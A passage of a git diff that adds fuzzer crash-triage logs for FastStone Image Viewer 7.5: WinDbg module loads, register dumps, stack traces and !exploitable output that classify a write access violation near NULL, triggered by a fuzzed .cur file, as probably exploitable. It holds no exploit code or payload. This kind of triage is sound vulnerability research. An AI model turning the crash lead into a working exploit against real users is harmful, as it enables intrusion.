C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1614.ff0): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07e57b19 edx=00000000 esi=00000000 edi=07c80fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.718529053629891680000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=1.29882e-010 -5.38828e+018 4.06742e+007 1.08231e+025 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f38130 07eb5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00358000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00358000 1bad1f90 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62c6 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00358000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b33626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x2b33626d) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/14180/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/14180/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..4829aeb Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/14180/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/17952/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/17952/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/17952/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/17952/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/17952/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..01c8f76 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/17952/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/17952/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/17952/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..2a45cd3 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/17952/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,171 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x125C: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x125C: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(125c.18d4): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07f37b19 edx=00000000 esi=00000000 edi=09426fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.757935550378558560000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-1.3829 -8.28067e-039 -7.57965e+025 5.85741e-036 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08018130 07f95930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003f8000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003f8000 18cdb8fb 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d629e 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003f8000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b33626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x2b33626d) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/17952/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/17952/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..2a45cd3 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/17952/WindowsDebugEngine_description.txt @@ -0,0 +1,171 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x125C: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x125C: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(125c.18d4): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07f37b19 edx=00000000 esi=00000000 edi=09426fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 